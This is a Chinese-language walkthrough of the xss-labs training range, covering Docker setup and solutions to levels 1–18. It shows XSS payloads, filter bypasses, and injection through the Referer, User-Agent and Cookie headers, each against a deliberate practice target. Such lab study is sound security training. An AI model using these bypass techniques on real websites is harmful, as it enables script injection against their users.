xss-labs靶场搭建-docker
拉取xss-labs靶场
docker pull shadowaura/xss-labs:latest
启动xss-labs靶场
docker run --name xsslabs -d -p 8005:82 shadowaura/xss-labs
之后访问
ip:8005
刷题
level 1
看到URL中有拼接test并且在界面有回显,尝试修改?name
后面拼接的参数,界面也同步回显
构造
?name=<script>alert(1)</script>
level 2
搜索框中的内容回显道了界面上,尝试在搜索框中输入
<script>alert(1)</script>
控制台查看该处的代码为
<input name="keyword" value="<script>alert(1)</script>">
尝试闭合代码绕过,构造
"<script>alert(1)</script>//
该处代码变为
<input name="keyword" value="" <script="">
alert(1)//">
双引号被闭合了,但还是没绕过
再次尝试绕过,将<
和>
转换为HTML10进制编码格式<
和>
,构造
"<script>alert(1)</script>//
控制台再次查看输入框处代码,变为了
<input name="keyword" value="" <script>alert(1)<="" script>="" "="">
结合上次的输入,到这里可以清楚地看到这里是将/
转换为了=""
,导致payload没被执行
那将/
也进行HTML10进制编码试试
"<script>alert(1)<សscript>//
这里尝试了好多次还是没有绕过,回头看发现<input>
标签没有被闭合,前面的字符被转义也是因为<input>
标签内的输入会被转义,重新闭合语句绕过<input>
标签
"><script>alert(1)</script>//
<input name="keyword" value=" 这里是源码
"><script>alert(1)</script>// 这里是输入">
输入框处的代码等价于
<input name="keyword" value=""><script>alert(1)</script>//">
level3
输入同样有回显在界面,输入
<script>alert(1)</script>
输入的代码在控制台中查看为
<input name="keyword" value="<script>alert(1)</script>">
尝试闭合input标签
"><script>alert(1)</script>//
这里比level2的不同是,将双引号进行了HTML实体编码,输入变为了
<input name="keyword" value=""><script>alert(1)</script>//">
尝试使用其他编码格式的双引号
"><script>alert(1)</script>//
%22><script>alert(1)</script>//
%26#34><script>alert(1)</script>//
输入被转换为对应的内容
<input name="keyword" value="&#34><script>alert(1)</script>//">
<input name="keyword" value="%22><script>alert(1)</script>//">
<input name="keyword" value="%26#34><script>alert(1)</script>//">
大于号和小于号都被重新编码不太好闭合,看了WriteUp要用到标签内置来执行弹窗。
1' οnclick='alert(1)
输入被转换为对应的内容
<input name="keyword" value="1" onclick="alert(1)">
之后点击搜索框就会弹窗
level4
还是先尝试
<script>alert(1)</script>
"<script>alert(1)</script>
输入被转换为对应的内容
<input name="keyword" value=" scriptalert(1)/script">
<input name="keyword" value=" " scriptalert(1)="" script"="">
发现将输入中的大于小于号给吞了,但是引号还在,还是可以构造内置函数使其产生弹窗
1" οnclick=alert(1) "
输入被转换为对应的内容
<input name="keyword" value=" 1" onclick="alert(1)" ""="">
level5
1" οnclick=alert(1) "
输入被转换为对应的内容
<input name="keyword" value="1" o_nclick="alert(1)" ""=""
发现函数名被替换了,尝试了大小写混合也没有绕过,看了WriteUp用a标签,点击a标签后就会有弹窗
1"> <a href=javascript:alert(1)>111</a>
level6
突然发现控制台调起的弹窗靶场也会判为通过
输入level5的payload,发现函数名被替换,但是改为大小写混合就绕过了
输入内容被转换为
<a hr_ef="javascript:alert(1)">111</a>
构造
1"> <a HrEf=javascript:alert(1)>111</a>
level7
输入上一关的payload
发现href
, script
被吞了
<a =java:alert(1)=“”>111
双写可以绕过构造
1"> <a HhrefrEf=javascscriptript:alert(1)>111</a>
level8
多了个友链出来点击一下,输入框中是nice try!
,跳转的目标url也是ip/nice try!
可以看到友链处是一个a标签,尝试
javascscriptript:alert(1)
但是被转换为
<a href="javascscr_iptript:alert(1)">友情链接</a>
其中的javascscriptript
被转换为了javascscr_iptript
,看了WriteUp,对payload进性Unicode编码转换可以绕过
javascript:alert(1)
level9
源码中显示会对输入进行检查,相当于白名单策略输入中必须要有'http://'
strpos($str7, 'http://')
:- strpos 是一个 PHP 函数,用于在字符串
$str7
中查找子字符串'http://'
的首次出现位置。 - 如果找到
'http://'
,它会返回该子字符串首次出现的位置(一个从 0 开始的索引)。 - 如果未找到子字符串,
strpos
会返回false
。
- strpos 是一个 PHP 函数,用于在字符串
false === strpos($str7, 'http://'):
- 全等比较
(===)
,用于检查strpos
的返回值是否严格等于false
。 - 全等
(===)
与等于(==)
的区别:===
不仅检查值是否相等,还检查类型是否相同。而==
只比较值。 - 因为
strpos
可能返回0
(当子字符串位于开头时),使用全等比较(===)
可以区分返回值是0
(字符串的第一个位置)还是false
(未找到子字符串)。- 如果使用
==
比较,返回值为0
时会被误认为是false
,导致错误判断。
- 如果使用
- 全等比较
所以在上一题基础上加上http://
即可
javascript:alert(1)//http://
level10
看了源码发现有两个入参点
并且第二个入参点的输入会被过滤大于小于符以及htmlspecialchars
函数过滤,在URL上拼接t_sort
的输入,再让它显示出来以触发onfocus
事件
keyword=a&t_sort=1" οnfοcus="javascript:alert(1)" type="text
level11
将上一关的payload放进来会发现输入被转义了
查看源码,有两个输入入参点'keyword', 't_sort'
会经过htmlspecialchars
函数而将特殊字符转为HTML实体,这个函数通常用于防止XSS攻击。
$str11=$_SERVER['HTTP_REFERER'];
这段代码的作用是从服务器的 $_SERVER
超全局数组中获取用户上一次访问页面的 URL(即所谓的 “来源页面” 或 引用页面),并将其存储在变量 $str11
中。
-
举例:
假设用户当前页面的 URL 是https://example.com/page.php
,而用户是从https://another-site.com/
点击链接进入该页面的,那么$_SERVER['HTTP_REFERER']
的值将会是https://another-site.com/
。 -
存在隐患:
-
由于
HTTP_REFERER
是由客户端(即用户的浏览器)提供的,它不可靠且可以被伪造。如果将它直接输出到页面或用在业务逻辑中,必须经过适当的过滤和验证。 -
如果用户直接访问页面而不是从另一个页面跳转过来(例如手动输入URL或通过书签访问),或者浏览器不发送
HTTP_REFERER
,那么$_SERVER['HTTP_REFERER']
的值可能为空。 -
由于
HTTP_REFERER
是用户可控的输入,它可能包含恶意代码。如果没有适当的过滤或转义,攻击者可以利用它进行跨站脚本攻击(XSS)。因此,在输出到页面时,应该使用htmlspecialchars()
或类似的函数对它进行转义。
-
回到本题,使用burpsuite进性抓包在请求体中写入注入代码后Forward,之后点击被攻击的input
框即可弹窗
REFERER:" οnfοcus="javascript:alert(1)" type="text" "
level12
这关变成UA了,同样抓包在User-Agent中写入注入代码
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 "οnfοcus="javascript:alert(1)" type="text""
//攻击代码为"οnfοcus="javascript:alert(1)" type="text""
level13
打开有个Warning,是因为在输出 HTML 之后设置 HTTP 头信息(本题是 setcookie()
)。HTTP 头信息必须在任何输出(包括空格、HTML 标签等)之前发送,否则服务器无法正确修改头信息。改一下源码将 setcookie()
移到输出任何 HTML
之前。
这关用到cookie
,同样抓包改代码
Cookie:user="οnfοcus="javascript:alert(1)" type="text""
//攻击代码为"οnfοcus="javascript:alert(1)" type="text""
level14
好像题目有问题,相关知识:
EXIF XSS(EXIF 跨站脚本攻击) 是一种利用图像文件的 EXIF(Exchangeable Image File Format, 可交换图像文件格式)元数据进行的跨站脚本攻击。攻击者通过在图像文件的 EXIF 数据中嵌入恶意脚本,然后通过不安全的服务器或应用程序上传该图像,最终在用户浏览或下载图像时触发恶意代码。
-
EXIF XSS 攻击的原理
-
EXIF 是一种用于存储图像文件元数据的标准,通常用于 JPEG、TIFF 和其他图像格式。元数据可以包含信息如相机品牌、拍摄时间、地理位置等。由于 EXIF 数据是图像文件的一部分,某些应用程序会读取并显示这些元数据。
-
如果网站或应用程序在处理 EXIF 元数据时没有进行充分的过滤或转义,攻击者可以将恶意的 JavaScript 脚本嵌入到 EXIF 元数据中。一旦这些未经处理的元数据被用户或管理员在浏览器中显示,就会导致 XSS 攻击。
-
level15
源码如下:
可以通过控制传入参数src
的值来进行注入,直接写脚本的话会遇到htmlspecialchars()
函数,可以利用ng-include
- ng-include 是 AngularJS 的一个指令,它允许通过路径动态加载并插入外部 HTML 模板。如果不加以限制,攻击者可能会通过向 src 参数提供恶意的模板路径或者利用 AngularJS 特性来执行恶意代码,甚至是绕过 htmlspecialchars() 的转义。
-
可以通过
ng-include
加载通过域名下其他容易注入的页面,比如level1
?src='level1.php'?name=<img src=1 onerror=alert(1)>'
拆解一下这段代码:
-
src='level1.php'
:- 在这里传入
level1.php
作为src
的值,使页面加载这个 PHP 文件。
- 在这里传入
-
name=<img src=1 onerror=alert(1)>
:- 在
level1.php
中有一个未经过滤的入参值name
。 <img src=1 onerror=alert(1)>
是一个典型的 XSS 攻击模式,利用了<img>
标签的onerror
事件:<img>
标签:是 HTML 中用于显示图片的标签。src=1
:这里设置了一个无效的图片来源(即1
),因为浏览器无法加载这个资源,它会触发onerror
事件。onerror=alert(1)
:当图片加载失败时,onerror
事件会被触发,执行其中的 JavaScript 代码。这里的代码是一个简单的alert(1)
,会弹框。
- 在
-
-
看网上WriteUp中有说利用level14的上传点来上传一个图片马,因为该靶场的图片都在同个文件夹下,然后包含该图片马。需要注意的是,
ng-include
加载外部html
时,script
标签中的内容不会执行,可以构造<a href="" onmouseover="alert(1)">
level16
看了源码对输入进行了多次字符的替换,产生源码依赖了,也可以多尝试几个输入通过回显看看网站是做了怎样的过滤
将空格进行HTML实体编码进行绕过,试了%a0,%a0
以及其他一些编码方式也不行
?keyword=<img src=1 οnerrοr=alert(1)>
看了WriteUp,可以交给BurpSuite来试,构造一个能看到回显的攻击语句,这里使用了
?keyword=<input type=text onmouseover=alert(1)>
使用BurpSuite上的Intruder模块攻击
GET /level16.php?keyword=%3Cinput%§20§type=text§20§onmouseover=alert(1)%3E HTTP/1.1
oa
回显出了添加的input
框,可以构造payload
?keyword=<img%0asrc=1%0aonerror=alert(1)>
level17
URL上可以看到两个入参点arg1
和arg2
输入aaaaaaa
和baaaaaa
看一下回显点,在embed
标签内
<embed>
标签用于在 HTML 页面中嵌入外部内容,如多媒体文件、Flash 文件、PDF 文档或其他嵌入式内容。 <embed>
标签在现代 Web 开发中使用得较少。
传参之后对参数进行了拼接
?arg01=onmouseover&arg02=alert(11111)
需要加空格以闭合src
?arg01=%20onmouseover&arg02=alert(11111)
level18
level17的payload直接过了
level19~20–待学
需要下载flash